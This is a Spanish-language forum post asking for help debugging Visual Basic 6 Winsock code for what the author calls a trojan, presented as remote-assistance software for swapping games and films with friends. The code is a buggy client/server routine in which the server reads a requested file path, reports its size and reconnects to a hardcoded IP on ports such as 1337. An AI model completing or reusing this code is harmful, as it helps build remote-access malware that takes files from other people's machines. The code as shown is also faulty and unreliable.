Estoy haciendo un troyano, que lo utilizare con mis amigos para podernos apsarnos los jeugos,peliculas,videos... entre nosotros, o sea que más que un troyano sería una programa de assistencia remota.
el caso es que en la parte de descargar archivos no me funciona, es que la verdad he hecho una chapuza, os dejo el codigo a ver si alguien me puede ayudar.
gracias de antemano.
Private Sub Command1_Click()
Dim rutadescarrega As String
rutadescarrega = Text1.Text
Winsock2.SendData rutadescarrega
End Sub
Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim desc As String
Dim nomfitxer As String
Dim rtadesc As String
Dim format As String
Dim tamany2 As Double
format = Text4.Text
nomfitxer = Text2.Text
rtadesc = "C:\P4ND0R4\Descarregues\" & nomfitxer & format
Call Winsock2.GetData(desc, vbString)
Dim desc2 As Long
desc2 = desc2 + desc
If Len(desc2) = tamany Then
Open rtadesc For Binary As #1
Put #1, 1, desc2
Close #1
End If
tamany2 = tamany
ProgressBar1.Min = 0
ProgressBar1.Max = tamany
Label2.Caption = Len(desc2) & "/" & tamany2
ProgressBar1.Value = Label2.Caption
if Len(desc2) = tamany2 Then
Winsock4.sendata "descarregat"
End If
End Sub
server:
Private Sub Winsock4_DataArrival(ByVal bytesTotal As Long)
Dim progr As String
Call Winsock4.GetData(progrés, vbString)
If progr = "descarregat" Then
rutadesc = ""
Dim IP As String
Dim PORT As String
Dim port2 As String
Dim port3 As String
Dim port4 As String
IP = "192.168.1.33"
PORT = "1337"
port2 = "1338"
port3 = "1339"
port4 = "1400"
Winsock1.Close
Winsock1.Connect IP, PORT
Winsock2.Close
Winsock2.Connect IP, port2
Winsock3.Close
Winsock3.Connect IP, port3
Winsock4.Close
Winsock4.Connect IP, port4
End If
End Sub
Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim desc As String
Call Winsock2.GetData(desc, vbString)
Dim rutadesc As String
Dim interruptordesc As String
rutadesc = desc
Dim tamanyFitxer As String
Dim tamany As String
Open rutadesc For Binary As #1
tamanyFitxer = Input(LOF(1), 1)
Close #1
tamany = Len(tamanyFitxer)
Winsock2.SendData "arxiudesc" & "|" & tamany & "|" & rutadesc